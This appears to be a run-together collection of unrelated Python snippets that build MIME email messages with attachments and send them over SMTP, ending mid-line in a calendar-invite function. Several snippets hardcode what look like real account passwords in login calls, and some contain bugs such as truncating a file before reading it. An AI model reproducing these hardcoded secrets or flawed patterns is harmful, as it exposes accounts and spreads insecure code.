def mail(receiver, subject, abs_path_files): send_addr = '*****@*****.**' password = '******' msg = MIMEMultipart() msg['Subject'] = Header(subject, 'utf-8') msg['From'] = send_addr if isinstance(abs_path_files, str): single_file = list() single_file.append(abs_path_files) abs_path_files = single_file for file in abs_path_files: file_name = os.path.basename(file) att = MIMEBase('application', 'octet-stream', filename=file) att.add_header('Content-disposition', 'attatchment', filename=('utf-8', '', file)) att.set_payload(open(file, 'rb').read()) encoders.encode_base64(att) msg.attach(att) # 发送邮件 smtp = smtplib.SMTP('smtp.exmail.qq.com', 587) smtp.starttls() smtp.login(send_addr, password) smtp.sendmail(send_addr, receiver, msg.as_string()) smtp.quit()
def send_raw_email(self, **kwargs): ''' still in dev ''' msg_all = MIMEMultipart() msg_all['From'] = kwargs['source'] msg_all['To'] = kwargs['to_addresses'] msg_all['Subject'] = kwargs['subject'] msg_all.attach(MIMEText("""123國<br><a href="http://toomore.net/">link</a>""", 'html', 'utf-8')) ics = render_ics( title=u'吃火鍋', description=u'冬天到了要吃火鍋!', location=u'台北市中正區衡陽路51號', start=datetime(2015, 1, 29, 10), end=datetime(2015, 1, 29, 18, 30), created=None, admin=u'Toomore', admin_mail=u'*****@*****.**', url=u'http://toomore.net/' ) attachment = MIMEBase('text', 'calendar; name=calendar.ics; method=REQUEST; charset=UTF-8') attachment.set_payload(ics.encode('utf-8')) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment; filename=%s' % "calendar.ics") msg_all.attach(attachment) return super(AwsSESTools, self).send_raw_email(msg_all.as_string(), kwargs['source'])
def send_mail(send_from, send_to, subject, text, files=[]): assert isinstance(send_to, list) assert isinstance(files, list) msg = MIMEMultipart() msg['From'] = send_from msg['To'] = COMMASPACE.join(send_to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) smtp = smtplib.SMTP('smtp.gmail.com', 587) smtp.ehlo() smtp.starttls() smtp.login("*****@*****.**", pw) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.quit()
def test_mixed_cloud_config(self): blob_cc = """ #cloud-config a: b c: d """ message_cc = MIMEBase("text", "cloud-config") message_cc.set_payload(blob_cc) blob_jp = """ #cloud-config-jsonp [ { "op": "replace", "path": "/a", "value": "c" }, { "op": "remove", "path": "/c" } ] """ message_jp = MIMEBase("text", "cloud-config-jsonp") message_jp.set_payload(blob_jp) message = MIMEMultipart() message.attach(message_cc) message.attach(message_jp) ci = stages.Init() ci.datasource = FakeDataSource(str(message)) new_root = self.makeDir() self.patchUtils(new_root) self.patchOS(new_root) ci.fetch() ci.consume_userdata() cc_contents = util.load_file(ci.paths.get_ipath("cloud_config")) cc = util.load_yaml(cc_contents) self.assertEquals(1, len(cc)) self.assertEquals("c", cc["a"])
def send(subject, text, sender=SENDER, recipients=[RECIPIENT], attachments={}, smtp_host=SMTP_HOST, encoding=ENCODING): # encode all strings in binary strings subject = _binary(subject) text = _binary(text) sender = _binary(sender) if not isinstance(recipients, list): recipients = [recipients] recipients = _binary(recipients) # build the message message = MIMEMultipart() message['Subject'] = subject message['From'] = sender message['To'] = ', '.join(recipients) # attach text part message.attach(MIMEText(text, _charset=encoding)) # attach attachments if any for name,filename in attachments.items(): part = MIMEBase('application', 'octet-stream') part.set_payload(open(filename,"rb").read()) encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % name) message.attach(part) smtp = smtplib.SMTP(smtp_host) smtp.sendmail(sender, recipients, message.as_string()) smtp.quit()
def send_mail(_from_, to_, subject, text, files=None, server=config.MAIL_SERVER, port=config.MAIL_SERVER_PORT): assert isinstance(to_, (list, tuple)) if files is None: files = [] msg = MIMEMultipart() msg['From'] = _from_ msg['To'] = COMMASPACE.join(to_) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for file_name, file_content in files: part = MIMEBase('application', "octet-stream") part.set_payload( file_content ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % file_name) msg.attach(part) smtp = smtplib.SMTP(server, port=port) smtp.sendmail(_from_, to_, msg.as_string() ) smtp.close()
def create_part(key, fileobject, content_type, multiple=False): """Create and return a multipart part as to given file data. key -- Field name. fileobject -- The file-like object to add to the part. content_type -- Content-type of the file. If None, use default. multiple -- If true, use Content-Disposition: file. """ if not content_type: content_type = DEFAULT_CONTENT_TYPE (maintype, subtype) = content_type.split("/") part = MIMEBase(maintype, subtype) part.set_payload(fileobject.read()) encode_base64(part) filename = getattr(fileobject, "name", None) kwargs = dict() if multiple: # RFC 2388 Returning Values from Forms: multipart/form-data # The original local file name may be supplied as well, either as # a "filename" parameter either of the "content-disposition: # form-data" header or, in the case of multiple files, in a # "content-disposition: file" header of the subpart. kwargs["disposition"] = "file" add_disposition(part, key, filename, **kwargs) return part
def mail(to, subject, text, attach=None, image=None): msg = MIMEMultipart() msg['From'] = GMAIL_USER msg['To'] = to msg['Subject'] = subject msg.attach(MIMEText(text)) if attach: part = MIMEBase('application', 'octet-stream') with open(attach, 'rb') as f: part.set_payload(f.read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach)) msg.attach(part) if image: with open(image, 'rb') as f: part = MIMEImage(f.read(), name=os.path.basename(image)) msg.attach(part) mailServer = smtplib.SMTP("smtp.gmail.com", 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(GMAIL_USER, GMAIL_PWD) mailServer.sendmail(GMAIL_USER, to, msg.as_string()) mailServer.close()
def send_mail(to, subject, text, files=[]): assert type(files)==list msg = MIMEMultipart() msg['From'] = gmail_user msg['To'] = to msg['Subject'] = subject msg.attach(MIMEText(text.encode('utf-8'), 'plain', 'UTF-8')) for f in files: fp = open(os.path.join(config.application_path,f),"rb") part = MIMEBase('application', "octet-stream") part.set_payload(encodebytes(fp.read()).decode()) fp.close() part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="%s"' % f) msg.attach(part) # msg is an instance of MIMEMultipart() mailServer = smtplib.SMTP("smtp.gmail.com", 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(gmail_user, gmail_pwd) mailServer.sendmail(gmail_user, to, msg.as_string()) # Should be mailServer.quit(), but that crashes... mailServer.close()
def _get_mime_object(self, content_string): content_object = { 'mime_object': None, 'encoding': None, 'main_type': None, 'sub_type': None } if isinstance(content_string, dict): for x in content_string: content_string, content_name = x, content_string[x] else: content_name = os.path.basename(content_string) # pylint: disable=unidiomatic-typecheck is_raw = type(content_string) == raw if not is_raw: content_string = content_string.encode('utf-8') if os.path.isfile(content_string): with open(content_string, 'rb') as f: content_object['encoding'] = 'base64' content = f.read() else: content_object['main_type'] = 'text' try: if not is_raw: html_tree = lxml.html.fromstring(content_string) if (html_tree.find('.//*') is not None or html_tree.tag != 'p'): content_object['mime_object'] = MIMEText( content_string, 'html', _charset='utf-8') content_object['sub_type'] = 'html' if content_object['mime_object'] is None: content_object['mime_object'] = MIMEText(content_string, _charset='utf-8') except NameError: self.log.error( "Sending as text email since `lxml` is not installed") content_object['mime_object'] = MIMEText(content_string, _charset='utf-8') if content_object['sub_type'] is None: content_object['sub_type'] = 'plain' return content_object if content_object['main_type'] is None: content_type, _ = mimetypes.guess_type(content_string) if content_type is not None: content_object['main_type'], content_object[ 'sub_type'] = content_type.split('/') if (content_object['main_type'] is None or content_object['encoding'] is not None): if content_object['encoding'] != 'base64': content_object['main_type'] = 'application' content_object['sub_type'] = 'octet-stream' mime_object = MIMEBase( content_object['main_type'], content_object['sub_type'], name=content_name) mime_object.set_payload(content) content_object['mime_object'] = mime_object return content_object
def add_file(self, path): attach = MIMEBase("application", "octet-stream") with open(path, "rb") as f: attach.set_payload(f.read()) encoders.encode_base64(attach) attach.add_header("content-disposition", "attachment", filename=os.path.basename(path)) self._attachs.append(attach)
def sendMail(message, encoding='utf-8'): msg = MIMEMultipart('alternative') msg['Subject'] = Header(MAIL_TITLE.encode(encoding), encoding) msg['From'] = SENDER msg['To'] = SENDER text = message msg.attach(MIMEText(text.encode(encoding), 'html', encoding)) # Attach file if specified if FILE_JOINED: part = MIMEBase('application', 'octet-stream') part.set_payload(open(FILE_JOINED, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % FILE_JOINED.split("/")[-1]) msg.attach(part) s = smtplib.SMTP(HOST, PORT) s.starttls() s.login(SENDER, SENDER_PASSWORD) try: s.sendmail(SENDER, SENDER, msg.as_string()) except: s.quit() return '%s Failed to send mail' % (SENDER) s.quit() return '%s / mail sent !' % (SENDER)
def send_mail(send_from, send_to, subject, text, server, email_password, files=[], hide=False): assert type(send_to)==list assert type(files)==list assert type(hide)==bool msg = MIMEMultipart() msg['From'] = send_from if not hide: # Basically BCC the messages by leaving this out. msg['To'] = ', '.join(send_to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) smtp = smtp = smtplib.SMTP_SSL(server, 465) smtp.login(send_from, email_password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close()
def sendemail(templatedir, templatefile, subject, sender, receiver, game, player=None, pdfpath=None): try: outer = MIMEMultipart() outer['Subject'] = subject outer['From'] = sender outer['To'] = receiver outer['Date'] = email.utils.formatdate() outer['Message-Id'] = email.utils.make_msgid('hades') outer.preamble = '' text = MIMEText( str(mailstream(templatedir, templatefile, game=game, player=player)), 'plain', 'utf-8') outer.attach(text) if pdfpath is not None: ctype, encoding = mimetypes.guess_type(pdfpath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(pdfpath, 'rb') attach = MIMEBase(maintype, subtype) attach.set_payload(fp.read()) fp.close() encoders.encode_base64(attach) attach.add_header('Content-Disposition', 'attachment', filename='auftrag.pdf') outer.attach(attach) s = smtplib.SMTP('localhost') s.sendmail(sender, [receiver], outer.as_string()) s.quit() except Exception as e: errprint("ERROR: Cannot send mail to receiver %s" % receiver) errprint(e) pass
def send_email_with_pic(sub, content, to_list=mailto_list): me = "Me" + "<" + mail_user + "@" + mail_postfix + ">" # Create message container - the correct MIME type is multipart/alternative. outer = MIMEMultipart('alternative') outer['Subject'] = sub outer['From'] = me outer['To'] = ";".join(mailto_list) outer.attach(MIMEText('<html><body><h1>Hello</h1>' + '<p> <img src="cid:0"> </p>' + '</body></html>', 'html')) with open('test.png', 'rb') as f: # 设置附件的MIME和文件名,这里是png类型: mime = MIMEBase('image', 'png', filename='test.png') # 加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='test.png') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的内容读进来: mime.set_payload(f.read()) # 用Base64编码: encoders.encode_base64(mime) # 添加到MIMEMultipart: outer.attach(mime) server = smtplib.SMTP(mail_host,25) server.set_debuglevel(1) try: # server.connect(mail_host) server.login(mail_user, mail_pass) server.sendmail(me, to_list, outer.as_string()) finally: server.close() return True
def attachAttachment(self, mainContentType, subContentType, data, file_name=None, file_name_encoding=None): assert isinstance(self.msg, MIMEMultipart) part = MIMEBase(mainContentType, subContentType) part.set_payload(data) encoders.encode_base64(part) if file_name: if file_name_encoding: # I would like to use a more simple implementation here based # on part.add_header, but the encoding mechanism provided for # that gives a different output, placing the filename in # Content-Disposition, with it subtly differently encoded. # This doesn't match a real-world problematic email which was # observed like this: # # Content-Type: APPLICATION/pdf; NAME="=?UTF-8?Q?123.pdf?=" # Content-Transfer-Encoding: QUOTED-PRINTABLE # Content-Disposition: attachment header = mainContentType + '/' + subContentType header += '; name="' + Header(os.path.basename(file_name), file_name_encoding).encode() + '"' del part['Content-Type'] part['Content-Type'] = header part.add_header('Content-Disposition', 'attachment') else: part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file_name)) else: part.add_header('Content-Disposition', 'inline') self.msg.attach(part)
def prompt_email_and_send(files, type): with open('credentials.txt', 'r') as f: login_email = f.readline().rstrip() login_password = f.readline().rstrip() msg = MIMEMultipart() msg['From'] = login_email msg['To'] = input("Your email address?") msg['Subject'] = "ADB-script Logs - "+device_name+" - "+type attachment=zip_attach(files) msg.attach(MIMEText("Here are your logs.")) part = MIMEBase('application', 'octet-stream') part.set_payload(open(attachment, 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attachment)) msg.attach(part) try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(login_email, login_password) print("Sending mail... This might take a while.") server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("Successfully sent email.") except SMTPException: print("Error: unable to send email.")
def derive_email(): sender = '*****@*****.**' # school email receivers = input("Email address of .zip file recipient: ") password = getpass.getpass() #hidden input message = MIMEMultipart() message["From"] = sender message["To"] = receivers message["Subject"] = "[CSC 344 - Michael Phillips] Assignments Submission" message.attach(MIMEText("This is my submission of the CSC 344 assignments as a .zip file")) part = MIMEBase('application', 'octet-stream') part.set_payload(open("assignments.zip", 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="assignments.zip"') message.attach(part) try: smtpObj = smtplib.SMTP("smtp.gmail.com", 587) smtpObj.ehlo(); smtpObj.starttls(); smtpObj.ehlo(); smtpObj.login(sender, password) smtpObj.sendmail(sender, receivers, message.as_string()) smtpObj.close() print("Successfully sent email") except smtplib.SMTPException: print("Error: unable to send email")
def email(): hashed="43657166f4c72d25ef02dd2b82afb72b58860f1aeda068a45c2a7353962fb57ffa98db5231457318d6ffae8d6bcd56540f2fd871e3053486edd1e305c571af19" #passw= passwd(hashed) month="{:%B %Y}".format(datetime.date.today()) fromaddr = "*****@*****.**" toaddr = ['*****@*****.**'] #toaddr = ['*****@*****.**', '*****@*****.**', '*****@*****.**','*****@*****.**'] msg = MIMEMultipart() msg['From'] = fromaddr #msg['To'] = toaddr msg['To'] = ",".join(toaddr) msg['Subject'] = "Vet Lounge Traffic of %s" % month body = "DO NOT reply this email. This is an automatic generated email with traffic data for veterans lounge. Should you have any question, please email [email protected]." msg.attach(MIMEText(body, 'plain')) filename = "%s.xlsx" %month #filename = "August.xlsx" attachment = open("/Users/johnjayveterans/Desktop/summer_project/testing.xlsx", "rb") #attachment = open("/Users/garytsai/Desktop/rfid-reader-http/summer_project/testing.xlsx", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "%s" % passwd(hashed)) text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit()
def sendmail(self,recipient = None): if not recipient is None: self.recipient = recipient # set mail type send_mail_msg = MIMEMultipart() send_mail_msg['Subject'] = self.subject send_mail_msg['To'] = self.recipient send_mail_msg['From'] = self.mailfrom # set mail body Contents = MIMEText(self.body.encode('utf-8'),'html','utf-8') send_mail_msg.attach(Contents) if not self.attach is None: # set mail attach fp = open(self.attach, "rb") attachment = MIMEBase("application", "octet-stream") attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=self.attach) send_mail_msg.attach(attachment) # connect to smtp server smtp = smtplib.SMTP(self.smtphost) # login smtp smtp.login(self.mailfrom,self.password) # send mail smtp.sendmail(self.mailfrom, self.recipient, send_mail_msg.as_string()) # quit server smtp.quit() print "Successfully." return
def send_file_zipped(the_file, recipients, sender="*****@*****.**"): zf = tempfile.TemporaryFile(prefix="mail", suffix=".zip") zip = zipfile.ZipFile(zf, "w") zip.write(the_file) zip.close() zf.seek(0) # Create the message themsg = MIMEMultipart() themsg["Subject"] = "File %s" % the_file themsg["To"] = ", ".join(recipients) themsg["From"] = sender themsg.preamble = "I am not using a MIME-aware mail reader.\n" msg = MIMEBase("application", "zip") msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header("Content-Disposition", "attachment", filename=the_file + ".zip") themsg.attach(msg) themsg = themsg.as_string() # send the message smtp = smtplib.SMTP() smtp.connect() smtp.sendmail(sender, recipients, themsg) smtp.close()
def send_report( self, subject, body, attachment, apptype='x/zip'): """ Send the email report to its destination. @type to: string @param to: Destination email address for the report. @type subject: string @param subject: The subject of the email message. @type body: string @param body: The body of the email message (includes report summary). @type attachment: string @param attachment: Path to report file for attaching to message. @type apptype: string @param apptype: Application MIME type for attachment. """ message = MIMEMultipart() message['From'] = self.emailfrom message['To'] = self.emailto message['Subject'] = subject message.attach( MIMEText( body )) part = MIMEBase('application',apptype) part.set_payload( open( attachment, 'r').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attachment)) message.attach(part) conn = smtplib.SMTP(self.smtpserver, self.smtpport) conn.sendmail( message['From'], self.emailto, message.as_string()) conn.close()
def snapshot_email(report_name, filename, data): ''' Send the report to the email account. ''' if not CONFIG['email_id']: LOG.info('Skipping email attachment.') return superman = CONFIG['email_id'] LOG.info('Attaching report for %s', superman) msg = MIMEMultipart() msg['Subject'] = '[Pombo report] {0}'.format(report_name) msg['From'] = superman msg['To'] = superman part = MIMEBase('application', 'octet-stream') part.add_header('Content-Disposition', 'attachment; filename="{0}"' .format(filename)) part.set_payload(data) encoders.encode_base64(part) msg.attach(part) try: conn = smtplib.SMTP('localhost') conn.sendmail(superman, superman, msg.as_string()) conn.quit() except Exception as ex: LOG.error(ex)
def send_mail(fro, to, subject, text, files=[]): #assert type(server) == dict assert type(to) == list assert type(files) == list msg = MIMEMultipart('alternative') msg['Subject'] = subject msg['From'] = '*****@*****.**' # Your from name and email address msg['To'] = ','.join(to) #print msg['To'] msg['Date'] = formatdate(localtime=True) msg.attach(MIMEText(text, 'html', 'utf-8')) for file in files: data = open(file, 'rb') part = MIMEBase('application', 'octet-stream') #'octet-stream': binary data part.set_payload(data.read()) data.close() encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) msg.attach(part) s = smtplib.SMTP('10.80.81.132', 25) #s.login(username, password) s.sendmail(fro, to, msg.as_string()) s.quit() ''' mandrill web api way
def sendmailError(): LOG_FILENAME = '/python_scripts/error.txt' logging.basicConfig(filename=LOG_FILENAME, level=logging.ERROR) logging.exception('Error generated on' +' '+ str(datetime.now())) logging.debug('Error found. Please read message.') msg = MIMEMultipart() sender = '*****@*****.**' recipient = '*****@*****.**' msg['Subject'] = "Error running script" msg['From'] = sender msg['To'] = recipient attachment = open(LOG_FILENAME, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename= LOG_ERROR.txt') msg.attach(part) text = msg.as_string() s = smtplib.SMTP('xxx.amazonaws.com', 587) EMAIL_HOST_USER = '******' EMAIL_HOST_PASSWORD = '******' s.starttls() s.login(EMAIL_HOST_USER, EMAIL_HOST_PASSWORD) s.sendmail(sender, recipient, text) s.quit()
def create_mail_attachment(attdef, payload=None): """Create the MIME part corresponding to the given attachment. Mandatory keys: 'fname', 'tmpname', 'content-type' :param attdef: a dictionary containing the attachment definition :return: a MIMEBase object """ from email import Encoders from email.mime.base import MIMEBase if "content-type" in attdef: maintype, subtype = attdef["content-type"].split("/") elif "Content-Type" in attdef: maintype, subtype = attdef["Content-Type"].split("/") else: return None res = MIMEBase(maintype, subtype) if payload is None: with open(os.path.join( settings.MEDIA_ROOT, "webmail", attdef["tmpname"]), "rb") as fp: res.set_payload(fp.read()) else: res.set_payload(payload) Encoders.encode_base64(res) if isinstance(attdef['fname'], str): attdef['fname'] = attdef['fname'].decode('utf-8') res['Content-Disposition'] = build_header(attdef['fname']) return res
def send_zipped_file(zipped_file, recipients, sender, connectParams): for param in ["host", "port", "user", "pass"]: assert param in connectParams, "must specify mandatory parameter %s" % param themsg = MIMEMultipart() themsg["Subject"] = "TEST: File %s" % zipped_file themsg["To"] = ", ".join(recipients) themsg["From"] = sender themsg.preamble = "I am not using a MIME-aware mail reader.\n" with open(zipped_file, "w+") as zf: # Create the message msg = MIMEBase("application", "zip") msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header("Content-Disposition", "attachment", filename=zipped_file) themsg.attach(msg) themsg = themsg.as_string() # send the message server = smtplib.SMTP(connectParams["host"], connectParams["port"]) server.ehlo() server.starttls() server.login("*****@*****.**", "Opensesami0114") server.sendmail(sender, recipients, themsg) server.quit()
def send(self, destination, subject, content, html_diff, new_file): """Send an email with 2 attached html files""" server = smtplib.SMTP_SSL(self.host, self.port) server.login(self.user, self.password) msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = self.user msg['To'] = destination msg.attach(MIMEText(content)) elems = { 'diff.html' : html_diff, 'new.html' : new_file } for name, content in elems.iteritems(): m = MIMEBase('text', 'html') m.set_payload(content) Encoders.encode_base64(m) m.add_header('Content-Disposition', 'attachment; filename="%s"' % name) msg.attach(m) server.sendmail(self.user, destination, msg.as_string()) server.quit()
comp_name = name user = '******' password = '******' to = '*****@*****.**' subject = 'Daily data {}'.format(comp_name) data_attachment_path = "data/{}_RFID.csv".format(comp_name) msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = user msg['To'] = ', '.join(to) try: part = MIMEBase('application', "octet-stream") part.set_payload(open(data_attachment_path, "rb").read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename={}'.format(data_attachment_path)) msg.attach(part) except Exception as e: print("Attachment failed") print(e) try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(user, password) server.sendmail(user, to, msg.as_string()) server.close()
def send(self, mail_to_list, cc_mail_to_list, bcc_mail_to_list, subject, body, attachement=None): # Make sure recipients is an array of unique elements, then format it to be a coma-separated string mail_to_list = list(set(mail_to_list)) cc_mail_to_list = list(set(cc_mail_to_list)) bcc_mail_to_list = list(set(bcc_mail_to_list)) # Set email sender in the header, recipients, subject, and email body msg = MIMEMultipart() msg['From'] = self.FROM msg['To'] = ','.join(mail_to_list) msg['CC'] = ','.join(cc_mail_to_list) msg['BCC'] = ','.join(bcc_mail_to_list) msg['Subject'] = subject formatted_body = """ <html> <head></head> <body> {body} </body> </html> """.format(body=body) msg.attach(MIMEText(formatted_body, 'html')) # Attach file if any if attachement is not None: with open(attachement, 'r') as f: attachement_data = f.read() payload = MIMEBase('application', 'octet-stream') payload.set_payload(attachement_data) encoders.encode_base64(payload) payload.add_header( 'Content-Disposition', 'attachement; filename={}'.format(basename(attachement))) msg.attach(payload) logging.info('Payload file attached !') msg = msg.as_string() logging.info('Email successfully formatted !') try: server = SMTP(host=self.HOST, port=self.PORT) logging.info('Successfully connected to SMTP server !') server.starttls() server.login(user=self.ADDR, password=self.PASS) logging.info('Successfully logged in to email user {}'.format( self.ADDR)) to_addresses = mail_to_list + cc_mail_to_list + bcc_mail_to_list server.sendmail(self.ADDR, to_addresses, msg) logging.info('Email sent to {}'.format(to_addresses)) server.quit() except Exception as e: logging.exception('Error: {}'.format(e))
def siEntered(self): suuser = self.suUserInVar.get() supass = self.suPassInVar.get() fromaddr = '*****@*****.**' toaddr = str(self.suEmailInVar.get()) tries = self.triesVar.get() siuser = self.siUserInVar.get() sipass = self.siPassInVar.get() if siuser == "" or sipass == "": tkinter.messagebox.showinfo("!!!", "You are missing information") ##------------------------------------Tries------------------------------- elif siuser != suuser or sipass != supass: tries = self.triesVar.get() print(tries) if tries == 0: tkinter.messagebox.showinfo( "!!!", "Your username or password is wrong" + '\n' + 'Attempts Left: 2') self.triesVar.set(+1) elif tries == 1: tkinter.messagebox.showinfo( "!!!", "Your username or password is wrong" + '\n' + 'Attempts Left: 1') self.triesVar.set(+2) elif tries >= 2: tkinter.messagebox.showinfo("!!!", "You have no more attempts") self.Fail.lift() #----------------------------taking picture---------------------------------- with picamera.PiCamera() as camera: camera.resolution = (1280, 720) camera.capture("/home/pi/Desktop/FinalProj/intruder.jpg") camera.close() #-----------------------------sending e-mail----------------------------------- msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = "Intruder" body = "This person attempted to access your account." msg.attach(MIMEText(body, 'plain')) filename = "intruder.jpg" attachment = open(filename, "rb") p = MIMEBase('application', 'octet-stream') p.set_payload((attachment).read()) encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(p) s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login(fromaddr, "CMPT2200") text = msg.as_string() s.sendmail(fromaddr, toaddr, text) s.quit() ##--------------------------------------------------Alarm---------------------------------------------------------- i = 0 while i <= 5: sleep(.5) GPIO.output(17, True) GPIO.output(27, True) GPIO.output(19, True) GPIO.output(26, False) sleep(.5) GPIO.output(17, False) GPIO.output(27, False) GPIO.output(26, True) GPIO.output(19, False) i += 1 GPIO.output(17, False) GPIO.output(27, False) GPIO.output(19, False) GPIO.output(26, False) GPIO.cleanup() elif siuser == suuser and sipass == supass: self.In2.lift()
print "The Intruder Detection system has started. A mail would be sent to %s on detecting any presence." %toaddr while True: if(GPIO.input(2)==True): body = "We have an intruder check! Image attached here with. The Temperature: %s" %s msg.attach(MIMEText(body, 'plain')) camera.start_preview() camera.annotate_text = "Time: %s" % datetime.datetime.now() camera.capture('/home/pi/Desktop/image.jpg') sleep(0.1) camera.stop_preview() filename = "/home/pi/Desktop/image.jpg" attachment = open("/home/pi/Desktop/image.jpg", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "password") text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit() sleep(5) print("Mail Sent")
# msg.attach(MIMEText(msgct, 'plain', 'utf-8')) with open( '.' + s + 'wechat' + s + 'graphic-daka' + s + 'frequency' + str(last_week) + '.png', 'rb') as f: # 设置附件的MIME和文件名,这里是png类型: mime = MIMEBase('image', 'png', filename='frequency' + str(last_week) + '.png') # 加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='frequency' + str(last_week) + '.png') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的内容读进来: mime.set_payload(f.read()) # 用Base64编码: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime) msg.attach( MIMEText( '<p>' + msgct.replace('\n', '<br/>') + '</p>' + '<p><img src="cid:0"></p>' + '</body></html>', 'html', 'utf-8')) import smtplib server = smtplib.SMTP(smtp_server, 587) # SMTP协议默认端口是25 server.starttls() server.set_debuglevel(1) server.login(from_addr, pafrword)
def schedule(request): COMMASPACE = ', ' uid = request.POST.get('vol') a = database.child("VOLUNTEER").child(uid).get() vol = [x.val() for x in a.each()] name = vol[1] vmail = vol[0] contact_vol = vol[2] date = str(request.POST.get('Meetingtime')) phone = request.POST.get('phone') mail = request.POST.get("mail") print("date", date) year = date[0:4] month = date[5:7] dates = date[8:10] time = date[11:16] time1 = (int(date[11:13])) % 24 time2 = (int(date[14:16])) % 24 time = time1 + time2 print("time1", time1) print("time2", time2) print("time", time) month_text = calendar.month_abbr[int(month)] email_to = vmail email_fro = mail data = { "Name": name, "Year": year, "Month": month_text, "Dates": dates, "Time": time, "Phone": phone, "Email_To": email_to, "Email_Fro": email_fro } database.child("Events").child("Data").push(data) CRLF = "\r\n" login = "******" password = "******" attendees = [email_fro, email_to] organizer = "ORGANIZER;CN=organiser:mailto:teamtechknights" + CRLF + " @gmail.com" fro = "Aapka Sahara Foundation" ddtstart = datetime.datetime.now() #dt = "2021-03-31T10:33" dt = date + ":00" dt = dt.replace('-', "") dt = dt.replace(':', "") dt = dt + "Z" # print(dt) dtstart = dt dtend2 = (int(dtstart[9:11]) + 2) % 24 dtend3 = dtstart[0:9] + str(dtend2) + dtstart[11:] # print(dtend3) dtend = dtend3 # print(dtend2) desc = "Companion/volunteer Contact info is :" + \ str(contact_vol) + " and Sir/Madam Contact info is " + str(phone) contact = phone description = "Description: " + desc + CRLF dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ") """dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ") dtend = dtend.strftime("%Y%m%dT%H%M%SZ")""" # print(dtend) desccription = description + CRLF attendee = "" Name = name for att in attendees: attendee += "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ- PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE" + \ CRLF + " ;CN=" + att + ";X-NUM-GUESTS=0:" + CRLF + " mailto:" + att + CRLF ical = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + \ CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF ical += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + \ CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF ical += "UID:FIXMEUID" + dtstamp + CRLF ical += attendee + "CREATED:" + dtstamp + CRLF + description + "LAST-MODIFIED:" + \ dtstamp + CRLF + "LOCATION:" + CRLF + \ "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF ical += "SUMMARY:meeting with " + Name + CRLF + "TRANSP:OPAQUE" + \ 